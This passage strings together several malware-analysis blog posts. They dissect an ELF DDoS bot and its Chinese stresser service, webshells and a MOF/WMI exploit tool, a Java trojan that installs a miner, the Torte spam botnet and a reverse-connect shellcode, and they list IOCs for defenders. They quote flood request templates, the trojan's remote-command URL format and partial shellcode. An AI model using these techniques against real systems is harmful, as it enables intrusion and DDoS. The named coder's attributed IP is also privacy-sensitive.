The below data is likely Jerry's related IP address located in Shanghai, as per spotted in his sshv-service-rule, so if you see some malicious activity from it, this post can be used as reference of what had happened:

{
"ip": "101.229.65.128",
"hostname": "No Hostname",
"city": "Shanghai",
"region": "Shanghai Shi",
"country": "CN",
"loc": "31.0456,121.3997",
"org": "AS4812 China Telecom (Group)"
}

It looks like Jerry & Co is testing his malware "online" to some internet servers too. This is snipped result of data grabbed saved in the CNC containing success exploitation IP and password of SSH targeted servers. I would say it could be a test stage result.

Guideline to conduct a responsible malware research

We are not against research for malicious codes, and it is good for doing such research for the further mitigation and protection purpose. However, "malcodes" can do harm and can be re-use by cyber criminal for the bad purpose. Therefore, such research has to be properly/securely setup to conduct tests for its legit purpose.

There are basic guidelines to be must-followed in order to securely setup and conduct such research with its tests. From our point of view, the basic guidelines to follow is as per below points:

- Always put some notes in binary/environment stated the purpose of research/test
- Never conduct the test in the open internet connectivity
- Do not EVER use internet nodes as a test bed!! Unless you have written consent for it.
- Highly supervised by the responsible legit entity and/or institution
- Do not share the malcodes openly and leave it up-and-alive openly accessible in internet
  ( do the limited access for the research purpose )

Epilogue and follow up

I thank Michal for this good finding. And for MalwareMustDie ELF team mates who swiftly cracked the source of the threat, ID and the real situation of this case, you are all awesome! Thank you to all friends who help to follow the case until the very end of it.

Let's not make our internet dirty by be more responsible in conducting research on dangerous material like computer virus or malware. Please remember that in some countries even if you own the source code of the malware you'll have a serious trouble with the law and authority.

For the research purpose, you can fetch the sample safely in our-beloved ELF malware repository in kernelmode.info [link], you'll see my experts colleagues in ELF malware research are on discussion on this threat, you can join this malware related discussion in there.

For the mitigation, Linux hardening and sysadmin perspective of this type of malware threat, there is a nice discussion that I am assisting on reddit's/r/linux [link], on the other reddit's /r/Malware thread I am posting follow up info of the case [link].

The apology from coder & a requirement of the virus making project..

After following some requests, we saw the infrastructure for this malware was taken down:

@MalwareMustDie After 24h post & requests sent to GitHub & Univ, CNC+GitHub #malware code was taken down, THANK YOU! pic.twitter.com/fQJzFVIeHv

— ☩MalwareMustDie (@MalwareMustDie) December 25, 2015

We then received a sincere apology message from the malware coder. He admitted to test it online too. You can see his message posted in his blog by online in here [link]. It's in English so you can read and comprehend the message as well as I do.

I, on behalf of my team, thanked Jerry for the sincere apology, and will delete the privacy related link and material I posted to this post after we confirm some facts further. The point in the message that I think you all need to know too is, as per shown in the below picture.

We need to be cleared of one thing only, is it a requirementfrom himself as the virus project leader or from the university side to make this virus project with its requirement?

I think Jerry personally knows the bad effect of his "project" and he gently admits his mistake showing he now awares of the dangerous effect for openly deploying his virus project and his tests. He made a good decision to put down all codes offline the GitHub, I respect that. After all, we thank Jerry for raising a very important aspect in Linux security too. It is a Christmas session now, let's accept the apology (upon confirming some facts) and Merry Christmas to Jerry from MalwareMustDie.

#MalwareMustDie!

Background

Linux exploitation by bad actors from People Republic of China (in short: PRC) is not a new matter. Their attacks are coming everyday and their method is also improving by days.

This post is another case of the issue, except it is reporting you some improvement and new source of DoS threat from the same landscape. The unique point of this one is by combining ElasticSearch exploitation for Linux boxes AND also aiming Windows machines via a malicious MOF (Managed Object Format) coded in a malicious PHP-MySQL webshell to exploit the WMI (Windows Management Instrumentation) architecture to remotely upload/execute any desired payload for infection. Obviously the windows infection pattern is targeting old systems with __EventConsumer runs in SYSTEM privilege (Windows XP and Windows 2003 Server). There are also an ASP web shell and some hacktools spotted.

The combination of the above threat is wrapped in a single multi purpose CNC GUI panel, that can control and monitor the attack performed, until the DDoS activity, for Linux and Windows client basis ddosers.

The ELF malware used as bot client for DDoS purpose is a new coded one, firstly spotted it in December 5th 2015,and the bad actors is synchronizing the latest version with its CNC GUI server software. Yes, we have a new threat here. As for the Windows PE DDoSer it was checked by our team (thank's B) as a variant of MrBlack in win32 version.

The Warth DDoS Stresser Service / 天罚DDoS集群压力测试系统

It's all started by and centered to this "wanna-look-legit" Chinese origin DDoS service. Which its site is in the domain of ddos.tf , this time we quicky took the snapshot of the site for the audience safe view in here [link]
. You can browse this service's information safely about the "features" promoted in the snapshot site by using google translation, to give you a good idea what this site is doing.

In the top page, there is a snapshot picture of the DDoS CNC server software panel of its ELF botnet

which is showing the recent last version (version 6) of the DDoS client/server malware served. In a glimpse it looks exactly like the BillGates CNC tools by the design, I think they managed to copy it, somehow.

A lot of features was promoted in the 2nd tab, which we suggest the investigator to translate & read them for its correlation to the malware in this case, and in the third menu tab you can view some clear snapshots they made for the alternative older versions from 3,4,5 which is showing its support to Linux and Windows DDoS bot client managed by the one-centered CNC panel.

In the bottom of the page you will see the web exploitation tool they use to gain privilege to windows machine, using the .asp(x) script to get the payload installed & (flood) attack controllers:

I think these are real snapshots with having some slight modification for promotion purpose. Apparently we have a very serious player here. And that's linked to the information in the next tab.

In the 4th tab you can see the price list information of using this service, and how to reach the actor for the payment purpose (see:264164661 part)

..and in the 5th tab it's showing the "disclaimer" too as per following original chinese language (I copy pasted for you to automate-translating):

申明:天罚集群压力测试系统仅用于机房压力测试，若有违反国家法律后果自负！
1：关于产品：本站产品仅限于个人及企业压力测试自身防火墙性能之用途，
不当使用本站软件所造成的任何后果本站(天罚工作室)不承担任何责任，
此相关类似声明在官网及使用协议中均作出明显说明；
2：关于业务：本站不提供任何相关攻击测试业务和非法主机(肉鸡)出售租赁业务；
只会按照部分客户实际需求可能提供联系渠道，此附加服务不在实际承诺交易范围内，
交易纠纷涉及范围仅限软件产品服务本身；
至于软件的效果也不要来问我，你来问我我肯定说好 有什么意义，
一个小小的免费版效果就那么强大，呵呵！你懂得！

Is it as legal as it's stated?

Good question. And the answer is obviously NOT, below is our argument:

Once upon a time, about 24+ hours ago, there's an attack coming to an innocent ElasticSearch server from this panel:

And a red-handed evidence was spotted during an effort to infect this innocent Linux server using downloaded ELF malware files from that a malware HFS web panel to this victim host:

The attacker was using the ElasticSearch known vulnerability/exploit (thank's to our team mate, B, for the log) and that ATTACKER-PANEL is the ip of the panel mentioned in picture snapshot above. P.S.:we will disclose the IP after the threat is taken down.

The ELF file udp and syb downloaded are known ELF Linux/BillGates malware variant (with encoded commands in the codes to make reversing difficult..which was FAILED) and are using IP basis CNC in 173.254.236.97:25000. The host that's used as CNC is in United States with below detail:

"ip": "173.254.236.97",
"hostname": "173.254.236.97.static.quadranet.com",
"city": "Los Angeles",
"region": "California",
"country": "US",
"loc": "34.0438,-118.2512",
"org": "AS8100 QuadraNet, Inc",
"postal": "90014"

"ip": "122.114.124.26",
"hostname": "No Hostname",
"city": "Zhengzhou",
"region": "Henan Sheng",
"country": "CN",
"loc": "34.6836,113.5325",
"org": "AS37943 ZhengZhou GIANT Computer Network Technology Co., Ltd"

But what's the connection of this panel with the ddos.tf ?
In the next section the connection of this panel to the ddos.tf will be seen clear as ice..

As the additional information, in the ddos.tf site, there are some archives hidden inside that one of them contains the infamous s.exe with its pairs of ip.txt and pass.txt, the SSH weak credential bruter tool... In the legit site?? Hmm..

Linux/DDOSTF a new ELF DDoS malware

I decided to name the new malware as Linux/DDOSTF since this is the specific malware made for this site, it's original and we can see its characteristic clearly. The first ELF file of this kind which was spotted online, is named as JrLinux, which is probably its original name(?), but Linux/DDOSTF is easier to remember to refer to its threat's source.

The samples are all originally coded in C compiled with stripped and static ELF, it is "fun"to reverse. This malware uses the 2 types of CNC, the one which is the pingback that is hard-coded its IP address in the binary, as you can see in the next picture, and the other is the hidden decoded base64 hostname. All of the binaries are builder basis which the five of them are all identical in skeleton that shows the ELF basis template was used as a master.

The first relation of the ddos.tf with this panel can be viewed in the new ELF Linux/DDOSTF in the below location/address which is stated its threat origin (refer to the 8888 binary):

You can see also the IP address for the first connection is written in hard-coded.

The second relation is as per explained in the ddos.tf site itself, it's camouflage the ELF into the Windows .exe file, as per seen in the new ELF with injected strings as if a Windows binary's property..

[0x0804a0b0]> iz~Win
vaddr=0x080ca1c6 [...] sz=25 len=24 [...] string="Windows Help System Myss"
vaddr=0x080ca206 [...] sz=15 len=14 [...] string="WinHelp32 Myss"
vaddr=0x080ca246 [...] sz=49 len=48 [...] string="Windows Help System for X32 windows desktop Myss"

The attacker part is initially can be spotted starting at 0x0804A3D8 which is having two initial values of UDP-Flow (default) or SYN-Flow flags defined during the distribution:

If you trace it further you'll meet the jump switch in here, which stated the specific form of each attacks:

I counted to see 12 routes to packet flood logic via below jump references:

0x08049E07 0x08049F42 0x08049FEA 0x08049E9A
0x0804A05A 0x08049F0A 0x08049FB2 0x08049E67
0x0804A022 0x08049ED2 0x08049F7A 0x08049E37

0x080b1d74 .string"
GET %s HTTP/1.1\\r\\n
Host: %s\\r\\n
Connection: Keep-Alive\\r\\n
Accept: */*\\r\\n
Accept-Language: zh-CN\\r\\n
Accept-Encoding: gzip, deflate\\r\\n
User-Agent: Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://wwwbaidu.com/search/spider.html)\\r\\n
Referer: http://%s%s\\r\\n
Pragma: no-cache\\r\\n
DNT: 1\\r\\n
Connection: Keep-Alive\\r\\n"

0x080b1e98 .string "
GET %s HTTP/1.1\\r\\n
Host: %s\\r\\n
Connection: Keep-Alive\\r\\n
Accept: */*\\r\\n
Accept-Language: zh-CN\\r\\n
Accept-Encoding: gzip, deflate\\r\\n
User-Agent:Mozilla/5.0 (compatible;+Googlebot/2.1;++http://www.google.com/bot.html)\\r\\n
Referer: http://%s%s\\r\\n
Pragma: no-cache\\r\\n
DNT: 1\\r\\n
Connection: Keep-Alive\\r\\n\\r\\n"

The hidden CNC leads to the domain of myss.basec.cc which is the third PoC relation of the malware download panel to the ddos.tf service (the myss mark), you can spot these sign in "distributed" version of the binaries at the below info, with its resolved data now:

And the function uses this CNC is in 0x8048FE8 with its communication "protocol".

The IP registered to this CNC is 58.220.41.10 in:

"ip": "58.220.41.10",
"hostname": "No Hostname",
"city": "Nanjing",
"region": "Jiangsu Sheng",
"country": "CN",
"loc": "32.0617,118.7778",
"org": "AS23650 AS Number for CHINANET jiangsu province backbone"

On the first run, the malware does sys_clone itself and then re- sys_clone-ing itself to then redirect the stdin, stdout, and stderr to /dev/null (for silent noises) and then do the double sys_clone again following by changing its work directory to /tmp , it then runs its main process afterward. This information is important if you want to trail/debug its processes properly.

This DDoS'er connects to first CNC, to send the initial infected report which I counted as 520 bytes blob data:

As you can see in the picture above, along with the system information, the infected host is informing the CNC whether the ELF initially flagged as UDP-flow or SYN-flow, and that info received is shown in the panel shown at ddos.tf site's screenshot:

Well, accordingly from the CNC, the below part of its control panel will be the place where the target of the DDoS will be entered, correspondenced to the infected DDoS Linux/DDOSTF bots to start the attack.

After calling back, this malware is supposed to make connection to the decoded CNC in myss.basec.cc afterward, and static compiled DNS resolver library will translate the connection to its IP to supposedly performing further steps.

The hashes of the ELF samples & their checked CNC are as per below, our team mates are uploading the samples to the VirusTotal accordingly:

Hash (md5)                        ELF     CNC1                CNC2
--------------------------------------------------------------------------- 
71a868cdcc6b79b7d274e3b558cd4596  8888    173.254.236.97:8888 myss.basec.cc(port: 8893)
3e0d96cd1e0a97e61d96b7863f39a1d4  6666    122.114.124.26:6666 myss.basec.cc(port: 8893) 
3e0d96cd1e0a97e61d96b7863f39a1d4  V6      122.114.124.26:6666 myss.basec.cc(port: 8893)
bf65b4947b194be658fdc2b2fb09c35b  V61     122.114.124.26:3795 myss.basec.cc(port: 8893)
3df2c500b5466b5ed2c7907fe8e0e1d5  V62     122.114.124.26:3795 (none)       (none)
3e0d96cd1e0a97e61d96b7863f39a1d4  JrLinux 122.114.124.26:6666 myss.basec.cc(port: 8893) 
*) myss.basec.cc = 58.220.41.10
---------------------------------------------------------------------------

Windows DDoSer used is..Mr.Black WinPE

The DDOS client payload for the Windows is Mr.Black WinPE version, it is a known threat with the good detection ratio, so I will not make comment for this.
The sample is in Virus Total [link]. And the CNC accessed is hostname basis myss.ddns.net (with same IP address as ELF at 58.220.41.10) in port 8893 too.

ASP WinShell + PHP MySQL .MOF WinShell + etc

This story is not over yet, there are two files that is important for all of us to be aware of, as per marked below:

The .aspx file, which it's not a new threat, is an ASP Web Shell which its functions are self-explanatory in the modified snapshot below:

The interesting one is the mof.php file, it is the PHP-MySQL coded to aim WMI exploitation via malicious MOF file. The common practise for the known MOF exploit file is by ASP script, but this attacker is using rather unique method, by using PHP & MySQL instead.

The interface can be pretty much viewed if you run it safely as web code as per following:

Since the PHP/MySQL as front end for WMI exploitation via MOF injection is rather rare to myself and my fellow team mates too, I tried to break down its codes as detailed as possible in the picture below:

It's amazingly "evil concept" isn't it? Yes, it is obviously a copy-paste code (see reference). I don't think they even calculated the chance to infect Windows running with PHP and MySQL installed beforehand..no wonder it has the low infection hit even it's already up ITW like 6+ months.

I almost miss this one. There is more "Binary Injection Webshell" tool also powerd by PHP/MySQL in that panel: it is udf.php, the snapshot taken during some efforts emulating the web shell :

I translated the Chinese comments and captions, and also neutralized the code for not being maliciously re-used then uploaded it to our pastebin [link] for your review due to mitigation purpose. It's a PHP/SQL base (malicious) DLL injector with the custom injection option interface, with hard-coded the template default DLL in its PHP as binary text.

Seeing these two MySQL-base injection webshell scripts, I start to realize that MySQL is also powerful tool to perform a binary and file injection, and that is the reason why the actor was putting mysql.exe in the panel too. "Maybe" this is also why PHP code is chosen instead ASP. Or maybe I just took it too serious and the actor is just another copy-paster :-)

One last thing that maybe we all need to know is the tool called NetFuke is spotted in the panel, which is a nice PRC made interface sniffer [link], and looks like the atacker was using it as a tool to generate report like this:

This panel is really heavy loaded with weapons for hacking..

Recent attacker IP for ElasticSearch of suspected same actor(same M.O.)

These are IP source of recent recorded attackers of with same panel/M.O.:

173.254.236.11|173.254.236.11.static.quadranet.com.|8100 | 173.254.192.0/18 | ASN-QUADRANET-GLOBAL | US | quadranet.com | QuadraNet Inc
173.254.236.19|173.254.236.19.static.quadranet.com.|8100 | 173.254.192.0/18 | ASN-QUADRANET-GLOBAL | US | quadranet.com | QuadraNet Inc
173.254.236.26|173.254.236.26.static.quadranet.com.|8100 | 173.254.192.0/18 | ASN-QUADRANET-GLOBAL | US | quadranet.com | QuadraNet Inc
173.254.236.55|173.254.236.55.static.quadranet.com.|8100 | 173.254.192.0/18 | ASN-QUADRANET-GLOBAL | US | quadranet.com | QuadraNet Inc

Epilogue, follow up, additional reference

Thank's for the MMD ELF research cool team mates, to B for 1st spotting new ELF that is ending up to a quite long post :), to Y for nice initial analysis on the webshell exploitation, to W1 for digging all resources for exploitation codes, and W2 to spread & analysis infrastructure, you're all the best.

Good reference for MOF exploitation in Windows WMI can be found here--> [-1-][-2-][-3-][-4-]

The full view of the panel infection of ddos.tf payloads:

The sample & more info for researchers is shared at kernelmode [link]
Please help to raise detection ratio [-1-][-2-]of this new ELF variant.

Stay safe! Happy New Year 2016 form MalwareMustDie!

Background

This is a short post for supporting the takedown purpose. Warning: Sorry, this time there's nothing fancy nor "in-depth analysis" :-) Yet the current hacking & infecting scheme is so bad, so I think it's best for all of us (fellow sysadmins in particular) to know this information for mitigation and hardening purpose.

In this case, a bad actor was using java coded malware injected to a "base infection" - a compromised windows machine (via usual remote windows service exploit hack method), to be used as a remote command execution (RCE) to the other hacked victim's machines, or, to be used as multiple-OS trojan downloader for attacking other machines. The trojan is supposed to be executed under java environment on the targeted machines, from a remote by URL with arguments as an API, to perform code execution or download functions.

In the current finding, this Java trojan is used to install the minerd into several targets. The Java trojan's download panel, the HFS web server, is installed on a hacked host in South Korea network by the suspected bad actor from PRC/China. (Yes, even it sounds like I'm pointing finger here, the threat source information is solid, do trace its bitcoin hash for PoC or the used tools).

The detection of the Java malware is always low, why we think the awareness of the threat is also important to raise its detection ratio (if possible).

The HFS panel

It was informed to our group by our friends (thank's to 김영욱) about the infection panel in here:

This panel is spotted in South Korea friend's network (victim) I hope this post can be used as reference for good people over there to delete the malware. The oss.war is the java trojan we described above.

In each directory it also spotted the minerd installer script:

..it was written in bash that is containing the information of the suspected actor.

Trojan downloader & remote command execution

It's a java coded malware as per seen in below:

It has arguments to be used during the remote access with URL format looks like below:

http://[BASE_INFECTION_PANEL]/oss.war?{cmd=base64]&winurl=[base64]&linurl=[base64]

As per written above, the detection ratio is low, but I never see high detection for any java coded applet or .jar since my first day hunting malware in web-->[link]

Malicious installation minerd

Bitcoin mining is okay, But hacking other's country machine for mining is bad. In this case is just worse than "bad" since the scheme is being used to hack multiple machines for bitcoin mining.

There are some directories with the extracted bitcoin installer already remotely used to infect victim's machine(s), and in each of the directory there's a one.tar file [link], which is actually a bash script to be remotely executed to install a minerd (a bit coin mining *NIX software). This remote execution can be done using Java malware remote execution function.

Well, I think the comments I wrote in the snippet picture above explained much of the badness and the link for the next investigation. Ah, yes, it's downloading the x86-64 ELF minerd.


Tips for IR team investigators: If the authority can access the base-infection machine, they can see the HFS web server log file (which is dumped also in memory that can be gained by forensics, just in case the bad actor deleting the log) to check which remote victim machines that were exploited for this malicious mining.

Epilogue & follow-up

Thank's for everyone involved in this matter. Please bare with this simple short post.
The usage java for this purpose is not nice & it's good to know.
I post the sample in kernelmode [link].
Thank's in advance for the S.Korea friends for the cleanup, below is more info of the network:

"ip": "202.68.226.59",
"region": "Seoul",
"country": "KR",
"loc": "37.5985,126.9783",
"org": "AS38086 IP4 Networks,Inc.(cwsys.net)"
"prefix": "202.68.224.0/20"

#MalwareMustDie!

The indicator

Several hours ago, it was detected a suspicious inbound access on a Wordpress site with the below log:
(Thank's for the hard work from Y)
It's an unusual traffic coming from the unusual source of ip address:

37.139.47.183|37-139-47-183.clodo.ru.|56534 | 37.139.40.0/21 | PIRIX-INET | RU | comfortel.pro | Comfortel Ltd.
62.76.41.190 |62-76-41-190.clodo.ru. |57010 | 62.76.40.0/21  | CLODO      | RU | clodo.ru      | IT House Ltd

From the sysadmin point of view, up to this step we know it's malicious and but we usually don't know what this is all about without web-searching here and there on these insufficient information, if we lucky maybe we can find the clue.. But in this case, the site's administrator is smart to manage a record of the inbound suspicious traffic for the session accessing the index.php.

From its data's part we extracted and beautified the posted text as per follows, and the new adventure is started from here..

It's a sequence of base64 encoded blob of data as arrays posted as a form's parameter value to the index.php file. Which is having an eval() value in it to be decoded in the index.php as per explained above. Yes, there's no way an admin can see this malicious activity evidence unless the stream data is captured or recorded (or it's a bit out of context but maybe we can do a proactive research to find the tool set used in a CNC site that was being used post this attack).

What is this?

What is the data, and what is it for. Let's decode it one step further.

The decoded results are as below; the first part:

The first data stored in $env variable is obviously another encoded base64 data, the rest is a PHP code. The comments in the picture explained it downloads remote file & targeting Linux system that can execute the shell command via PHP environment.

The next part is:

In this part we can see the rest of the malicious process as per described in the picture's comment.
The download hostname pages.touchpadz.com is resolved to below IP in RU network.

62.76.186.235|62-76-186-235.clodo.ru.|57010 | 62.76.184.0/21 | CLODO | RU | clodo.ru | IT House Ltd

The point is, no trace for the downloaded file too since it will be deleted afterward. And, the shell execution is performed under environment of $env. So what the $env is? Let's decode it further:

Okay we can see some obfuscation in tags, some strings that doesn't make any sense and we can see some short codes. This must mean something, and we need the decrypter logic for it.

Using the ELF payload as encoder

A note: I have one habit in analyzing ELF cases we handle, if I think we know and have full control to a malware, I tend to make a PoC as infection evidence by the method of: "let's feed them with anything they want to detonate its malicious process, this method is actually not a good way to do for the beginners, and in my case I reversed it well first to make it sure it is safe beforehand.

Okay, moving on, in this case the similar method above was applied, and the parsed $XDVSN_SESSION_COOKIE is showing the below result:

You can see the three more malicious URL under domain touchpadz.com inside the blob of data above under the tag of ＜lu＞, ＜bu＞ and ＜su＞ and there are other tags too. Those hostnames are pointing to one IP located in LeaseWeb network in North Holland:

"ip": "5.79.83.27",
"hostname": "hosted-by.leaseweb.com",
"city": "Amsterdam",
"region": "North Holland",
"country": "NL",
"loc": "52.3740,4.8897",
"org": "AS60781 LeaseWeb Netherlands B.V.",
"postal": "1000"

Just to make sure these tags means something and the decryption is correct, in this ELF binary must be spotted the exact handler for each tag keyword, I checked again the ELF's assembly for these keyword's variable allocation code:

Now we all can be sure the data is correct. In every tag there is a handler for each and this ELF is composing them to further bad action(s).

Recognition of the Torte Botnet threat

At this point our team remembered analysis of Torte Botnet published by Akamai researchers, you can view it here [link], and showing all of the infection indicators collected are matched. The report is having a lot of explanation of the overall threat scheme and the further ELF malware's work to interact with the CNC url to get more data to, in the end, send spams via SMTP connection which I also confirmed the same functions are found in this malware.

Okay, so what had happened here??

As for our incident case, it is an attempt to infect a Linux node to be part of the Torte Spam Botnet with using ELF malware (called as "Torte botnet spooler binary" by Akamai ; to make it simple, alongside to other ELF malware binaries let's call it as Linux/Torte).

The infection is cleverly done through a remote access interfaced by compromised Wordpress' uploaded PHP file, by a posted HTTP encoded data. And upon succeeded the threaded malware processes will run in the Linux server's memory without leaving much trace, except (1)a single index.php file used in initial hack as the backdoor of infection, (2)the malicious process and (3)several malicious environment variables used.

Behavior analysis

In a test bed the malware will initially load dynamic linker ld-2.13.so to load its shared libs/objects.

It then seeked and loaded the below list of its dependency libraries:

/etc/ld.so.cache
/usr/lib/i386-linux-gnu/libcurl.so.4
/usr/lib/i386-linux-gnu/libstdc++.so.6
/lib/i386-linux-gnu/i686/cmov/libm.so.6
/lib/i386-linux-gnu/libgcc_s.so.1
/lib/i386-linux-gnu/i686/cmov/libc.so.6
/lib/i386-linux-gnu/i686/cmov/libpthread.so.0
/usr/lib/i386-linux-gnu/libidn.so.11
/usr/lib/i386-linux-gnu/libssh2.so.1
/usr/lib/i386-linux-gnu/liblber-2.4.so.2
/usr/lib/i386-linux-gnu/libldap_r-2.4.so.2
/lib/i386-linux-gnu/i686/cmov/librt.so.1
/usr/lib/i386-linux-gnu/libgssapi_krb5.so.2
/usr/lib/i386-linux-gnu/i686/cmov/libssl.so.1.0.0
/usr/lib/i386-linux-gnu/i686/cmov/libcrypto.so.1.0.0
/usr/lib/i386-linux-gnu/librtmp.so.0
/lib/i386-linux-gnu/libz.so.1
/lib/i386-linux-gnu/libgcrypt.so.11
/lib/i386-linux-gnu/i686/cmov/libresolv.so.2
/usr/lib/i386-linux-gnu/libsasl2.so.2
/usr/lib/i386-linux-gnu/libgnutls.so.26
/usr/lib/i386-linux-gnu/libkrb5.so.3
/usr/lib/i386-linux-gnu/libk5crypto.so.3
/lib/i386-linux-gnu/libcom_err.so.2
/usr/lib/i386-linux-gnu/libkrb5support.so.0
/lib/i386-linux-gnu/i686/cmov/libdl.so.2
/lib/i386-linux-gnu/libkeyutils.so.1
/lib/i386-linux-gnu/libgpg-error.so.0
/usr/lib/i386-linux-gnu/libtasn1.so.3
/usr/lib/i386-linux-gnu/libp11-kit.so.0

To perform its malicious activities, this malware is utilizing shell environment as its place to store its variables. In an infected machine, the Linux environment variables will be modified (mostly added) to support this malicious scheme, this can be used as reference to sysadmins as indicator of the infection. Below is the snapshot of the variables, please see the marked part. (There are also shell variables from web server's environment's too as "noise", please kindly bear with it).

In the marked entries you can see malware HTTP request variables.

The ELF malware saved and run in infected system as threaded "ps" processes. The original file was deleted right after the ELF malware is executed. If you use list of files (lsof), this process will be shown as "ps (deleted)". Again, the malicious shell variables and the "ps (deleted") process is what mostly to be spotted in an infected system instead of the injected index.php (or any name .php).

So far there's no sign of any persistent effort for malware, i.e.: an autostart, to survive the reboot. It looks like the actor(s) wanted it to be that way for some reason. The deletion of the malicious "ps" processes, following by unset the malicious environment variables will cure the system, don't forget to delete the index.php (the uploaded backdoor file) and patch the Wordpress flaw.

It is very recommendable to block this listed hostnames and IP addresses:

sk2.touchpadz.com 
stat.touchpadz.com 
bat.touchpadz.com
pages.touchpadz.com
5.79.83.27    (CNC backconnect source) 
37.139.47.183 (wordpress attacker bot/backdoor source)
62.76.41.190  (wordpress attacker bot/backdoor source)
62.76.186.235 (malware download server)

Follow up & Epilogue

The sample we gained from this infection I posted in the kernelmode [link].
The detection ratio is not bad, you can see it here -->[-1-] and [-2-].
Thank's for support from Y (for a good forensics & evidence collecting effort) & W (in investigation) from our team. And also to the Akamai team for the good report.

We hope this information will be useful for fellow sysadmins, and researchers who follow the threat. All of information was written in a way that hopefully can be reproduced for IR and investigation purpose.
The additional information and follow up will be added in this section, as usual.

To Wordpress sysadmins. BLOCK: https://t.co/bhL5DYsDXm https://t.co/AwgSW7Cygb https://t.co/YzksT7mtWI 5.79.83.27 37.139.47.183 62.76.41.190

— ☩MalwareMustDie (@MalwareMustDie) January 12, 2016

#MalwareMustDie!

The background

In September 2014 during the ShellShock exploitation was in the rush I analyzed a case (MMD-0027-2014) of an ELF dropped payload via ShellShock attack, with the details can be read in-->[here]

Today I found an interesting ELF x86-32 sample that was reported several hours back, the infection vector is also via ShellShock, the reporter seems not so sure whether the ELF binary is malicious or not..nor can he figure which kind of malware it is.. if it's malicious, so I decided to dissect it upon received the sample, hoping this information will help security community to use it as reference for the similar case.

The ELF binary looks like this:

It is a statically compiled 155 bytes ELF binary in Intel 32bit architecture, by the result of its compilation I can tell that was in a form of shellcode for linux compiled in C template on a GCC compiler.

Studying the sample

As I fond of shellcode myself as a hobby, seeing the hex and stripping the ELF header parts, I can see the shellcode inside started from 31 db f7 e3 53 43 53 6a 02 b0 66 ..until.. cd 80 ff e1.

Compared to the previous mentioned case, this shellcode is a way much shorter, could be part of something bigger that was cut to whatever purpose, or a partial module of the threat series, or it's just small. Anyhow I decided to check it out, and of course, with my beloved radare. Firing up, it looks plain and simple assembly as per below, as per disassembled which each opcodes correctly in 80386(x86-32) machine language:

In a glimpse, this shellcode looks the same to what we had before, but it is slightly different on several patys and again, shorter. So now all we have to do is to describe how dos it work.

Dissection of the evil opcodes

I breakdown the codes into its calls & processes, took a while of work and reading many syscall references, but it was all worth and the result is as per pictured below:

What it says from line number 3 to 25 (xref: 0x08048054 to 0x0804807a) in plain English is:
Firstly this ELF/shellcode part called the socket, set it with as internet connection used socket (PF_INET) to a certain IP address and port number (both are hard coded in hex, see the picture above), assuming the back connection is going to being made to the remote machine. I see the same procedure is used in same reverse-shell malware or some malicious shellcode itself. This part is happened more or less similar as previous case I reported and dissected in September 2014 (linked above).

However, the rest of the lines is the interesting point of this threat.

in 0x0804807c it strictly set the memory space (in the stack) to the value of 7, and this can be only mean that the stack setting(PROT_READ, PROT_WRITE, PROT_EXEC) flag is set to readable, writeable and executable ( xref: codes from 0x0804807e to 0x0804808d is all about this setting..called syscall sys_mmap2 w/def size 4096 and called syscall sys_mprotect..in C is similar to make a malloc() part).

Up to this point the badness is smelled stronger. The next codes will explain its bad activity very well. In 0x0804808f it restores the socket and then reads the data from the socket (ref 0x08048095 in executed syscall0x03 sys_read) and it's saved the data to the stack (which is read/write/exec-able now).
The described current process is up to 0x08048097 now (we are here). So, an explanation in better English up to this process is: this malware connects to the defined IP address and port and listened to what will be sent and save the sent data in the memory.

The next, the last code is in address 0x08048099 is a jump command to ecx register which contains the pointer to the saved data in she stack, Yes, which can also mean the execution of the whatever data saved in the allocated stack (memory).

In overall, in short; this backdoor is back-connecting to a hardcoded remote host, it listens to the connected socket and retrieving the data sent through it, and saved the data in the stack (memory), and to then it can execute whatever form of executable data sent to the infected host.

The implementation for this backdoor can be widely applied as component to many further form of badness if it s installed/sent to any successful compromised host. We'd better to take more attention awareness of these type of small and unusual ELF files inside of our system.

The most commonly imaginable follow-up scheme for this ELF infection is the injection of the shell binary (mostly an "sh" or "bash" file, etc) ELF binary via this backdoor. But that is not necessarily to be the shell binary. IT can be rootkit installer or further malicious shellcode.

The threat is already in the wild folks, before you yell me of the OPSEC I'd say awareness is a must too!!, there is no need to be hush hush about this matter which making our fellow sysadmins clueless (like a friend who got this in his server) and doesn't know much info about this threat. They are the ones who can lose their jobs for not knowing these details, They need to know the correct definition.

Behavior analysis

During the "run" process, sysadmins in any infected machine will see some operations triggered by the malware in the kernel space as per processed called below:

And of course, in this particular file, due to the stupidity of the lamer who copy-pasta and wrongly compiled its codes, the segmentation fault will occur for the obvious silly reason, which I will not explain in here for the security reason.

Naming of the malware

I must protest to antiviruses that was saying this is as a "downloader", since clearly there is no direct/undirect downloading codes in its binary. The correct fact is, a backdoor, with the malicious verdict of: a remote attacker is pushing via TCP the binary to be executed in the compromised machine via this backdoor .

Other antivirus products named this malware with "GetShell", ...umm..well... it is about okay, since "mostly" what will be pushed via this backdoor are shell binaries, but noted: this malware is NOT making any GET action to receive that binary, it is just sitting there connecting to an IP and waiting for the push. Moreover.. the payload itself doesn't have to be a shell binary either, could be a rootkit for example, or etc badness installer, and so on..

For those antivirus products that named this malware as "ShellLoader"..sorry, it is just too different in meaning, firstly, the binary is NOT loading anything except itself, and there is no single shell is loaded too, furthermore, there is a shellloader ELF malware which is operated differently to this one, let's not mixing them, and please, do not suggest a wrong assumption to your market or customers, educate them with real technical fact instead! Come on, you can do better than this!

Congratulations to ONE product who named this correctly, you did a good work! A hat tip!

Sometimes it takes efforts to explain what actual names for this malware :-)
FYI, this is only 155 bytes of codes, lesser of that size is in shellcode bytes, mustn't be that hard to be read, specially with a good resources, manpower and budget.

I am a field fellow, I work from IDC to IDC, servers to servers, even now, my mates are all sysadmins and I am one of them, a NIX admin for 20+ years experience now, and I know them very well. And UNIX sysadmins CAN NOT AFFORD TO MAKE ANY MISTAKE, and yes, we don't. Services and daemons work are depending on us. For us, everything related to an incident like this, is technical, and we depend and trust the technical outcome, like the names of the malware, is the first result we will see, and sysadmin's actions will be based on those names after AntiVirus scanned it (if they installed it), this is why some of us paying license fee to AntiVirus yearly, and they (AV) should not making wrong judgement nor just do a pattern matching checks only for naming a ELF malware, especially for this tiny small dangerous stuff!!

When I speak the truth advising right information and name of this malware & showing some bad namings as the output of virus cannning, what I got is a "WHAT?" from a "younger" friend in an "industry" :-(
Obviously there is no respect of the efforts of what has been done here.. :-|
